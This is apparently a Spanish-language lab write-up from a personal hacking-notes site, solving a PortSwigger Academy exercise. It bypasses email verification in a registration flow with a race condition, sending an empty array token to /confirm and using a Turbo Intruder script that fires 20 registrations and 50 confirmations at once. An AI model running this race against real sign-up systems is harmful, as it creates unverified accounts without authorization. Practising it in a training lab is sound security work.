> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/race-conditions/partial-construction-race-condition.md).

# Condición de carrera de construcción parcial

### Condiciones de carrera de construcción parcial

#### Objetivo del laboratorio

* El sitio ofrece un mecanismo de registro con **verificación por correo**.
* Un **condición de carrera** te permite **eludir la comprobación** y registrarte con una dirección arbitraria.
* Objetivo final: **crear una cuenta**, iniciar sesión y luego **eliminar usuario `carlos`**.

#### Contexto observado (registro)

* Mensaje de la interfaz:

<figure><img src="/files/c0f3d618fe500b174012695488c1636a3ca0588c" alt=""><figcaption></figcaption></figure>

Intento de crear una cuenta con el correo proporcionado por el laboratorio -> respuesta:

<figure><img src="/files/bad62c2cc28f42540495ef8e2eda71d542b4a529" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d8efd952a379d4ba1720b30d2db748bc505d4c50" alt=""><figcaption></figcaption></figure>

Intentado con un correo válido, p. ej. `jordan@ginandjuice.shop` → respuesta:

**“Por favor, revisa tus correos para encontrar el enlace de registro de tu cuenta”**.

{% code overflow="wrap" %}

```bash
csrf=HggS13aIQlQSXW9Tdhh1NmOGrSYIalTN&username=wiener&email=wiener%40exploit-0ad00064047bcce1804a250e017f00f9.exploit-server.net&password=peter
```

{% endcode %}

<figure><img src="/files/eddc7f8bd089bcf318834297397c9bb65b08107c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a64504523aefdce411d361d682fe4300698ee9bd" alt=""><figcaption></figcaption></figure>

#### Análisis de explotación (resources/users.js)

<figure><img src="/files/f2b91c6cf67bbd953d0fde56cb4c3c3c55010cba" alt=""><figcaption></figcaption></figure>

En `users.js`, vemos:

* El formulario de registro envía `username`, `correo electrónico`, `contraseña`.
* La confirmación del correo se realiza mediante un **POST** a:
* `POST /confirm?token=...`
* El token se extrae de la URL y se inyecta en la acción del formulario de confirmación.

Conclusión: la validación depende de un endpoint **/confirm** con un **token** transmitido en la cadena de consulta.

```javascript
const createRegistrationForm = () => {
    const form = document.getElementById('user-registration');

    const usernameLabel = document.createElement('label');
    usernameLabel.textContent = 'Nombre de usuario';
    const usernameInput = document.createElement('input');
    usernameInput.required = true;
    usernameInput.type = 'text';
    usernameInput.name = 'username';

    const emailLabel = document.createElement('label');
    emailLabel.textContent = 'Correo electrónico';
    const emailInput = document.createElement('input');
    emailInput.required = true;
    emailInput.type = 'email';
    emailInput.name = 'email';

    const passwordLabel = document.createElement('label');
    passwordLabel.textContent = 'Contraseña';
    const passwordInput = document.createElement('input');
    passwordInput.required = true;
    passwordInput.type = 'password';
    passwordInput.name = 'password';

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'Registrarse';

    form.appendChild(usernameLabel);
    form.appendChild(usernameInput);
    form.appendChild(emailLabel);
    form.appendChild(emailInput);
    form.appendChild(passwordLabel);
    form.appendChild(passwordInput);
    form.appendChild(button);
}

const confirmEmail = () => {
    const container = document.getElementsByClassName('confirmation')[0];

    const parts = window.location.href.split("?");
    const query = parts.length == 2 ? parts[1] : "";
    const action = query.includes('token') ? query : "";

    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '/confirm?' + action;

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'Confirmar';

    form.appendChild(button);
    container.appendChild(form);
}
```

#### Primer intento y bloqueo

* Intento de forzar una confirmación vacía:

```http
POST /confirm?token=token
```

<figure><img src="/files/fbb0b1e80bd4b4a01ab5c9191e678214e352aa14" alt=""><figcaption></figcaption></figure>

* Respuesta: **Prohibido** → endpoint protegido contra token vacío

<figure><img src="/files/0f9cad9966d1b65ca6303b807c71db22b3a110bc" alt=""><figcaption></figcaption></figure>

#### Eludiendo la protección (interpretación alternativa)

Nuevo intento:

```bash
/confirm?token[]=
```

* Respuesta: \*\*
* Interpretación: el backend ya no bloquea con Prohibido, sino que \*\* procesa el valor\*\* (pero indica que es un array).

<figure><img src="/files/cd1b5442c1d4d1381119d222dd423f616eaa56ad" alt=""><figcaption></figcaption></figure>

#### Observación de tiempos

* El **registro** la solicitud es más lenta:
* /\~ **199 ms**

El **confirmación** la solicitud es más rápida:

* /\~ **78 ms**

<figure><img src="/files/072d5dfad6c943d794b6ee5e303a8a2198dc84aa" alt=""><figcaption></figcaption></figure>

Idea: **bombardear** `/confirm?token[]=` durante la ventana en la que se crea la cuenta, para provocar una confirmación en el momento equivocado

### Explotación

#### Método 1 — Intruder (competencia)

1. Envía la `POST /confirm?token[]=` solicitud a Intruder.

<figure><img src="/files/fd71c7b2582dc7ef1638c5ac01a46724ddbdea79" alt=""><figcaption></figcaption></figure>

* Configura el envío como **solicitudes en competición** (p. ej., 10).

<figure><img src="/files/0d3b35aa633e1ba951ac43423d0a42de20632882" alt=""><figcaption></figcaption></figure>

* Durante este bombardeo, desde Repeater (o el navegador), crea varias cuentas:
* `test1`, `test2`, `test3`,... `test7`

Comprueba las respuestas en Intruder:

* Una de las respuestas termina devolviendo **200**

<figure><img src="/files/a0c2b4b0fef109f1cc72bab0576f678c5a620980" alt=""><figcaption></figcaption></figure>

Intenta iniciar sesión con las cuentas de prueba:

* Éxito observado (p. ej. `test2`).

<figure><img src="/files/880e5993d9ab98b0cde73be1d49901d463fe42cd" alt=""><figcaption></figcaption></figure>

#### Método 2 — Turbo Intruder (ataque de un solo paquete en carrera)

1. Selecciona una solicitud y envíala a **Turbo Intruder**.

<figure><img src="/files/33ebae64a7682952d5cc3a435b4b4d65a27bcebf" alt=""><figcaption></figcaption></figure>

* Elige el **de carrera / paquete único** ataque.

<figure><img src="/files/ddce1be64368571de5b1c09a8c46c6d845a7effe" alt=""><figcaption></figcaption></figure>

Usa este script:

Principio del script (tal como se aplica aquí):

* Archivo **varios registros** (`lol0..lol19` usuarios)
* Solicitud **muchas confirmaciones** (`/confirm?token[]=`)
* Abre la compuerta para provocar la condición de carrera.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        engine=Engine.BURP2
    )

    confirmation_email = '''POST /confirm?token[]= HTTP/2
Host: 0a0700db04dacc3080b6262500af004e.web-security-academy.net
Cookie: phpsessionid=sOwKShdkHig4oxnUpwlWZ82vFl6rwdom
Content-Length: 0

'''

    gate_name = "race1"

    for i in range(20):
        username = "lol" + str(i)
        engine.queue(target.req, [username], gate=gate_name)

    for j in range(50):
        engine.queue(confirmation_email, [], gate=gate_name)

    engine.openGate(gate_name)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="/files/f5d3c4f817ffd9ec80596233b7769311b7599661" alt=""><figcaption></figcaption></figure>

#### Resultado esperado

* Al menos una cuenta se crea **como si el correo hubiera sido confirmado** (sin poseer el token).
* Luego puedes iniciar sesión con esta cuenta y usar sus funciones para alcanzar el objetivo del laboratorio (eliminación de `carlos`).

<figure><img src="/files/04ea1d2625c314874f9695449538baae9788c1fe" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/race-conditions/partial-construction-race-condition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
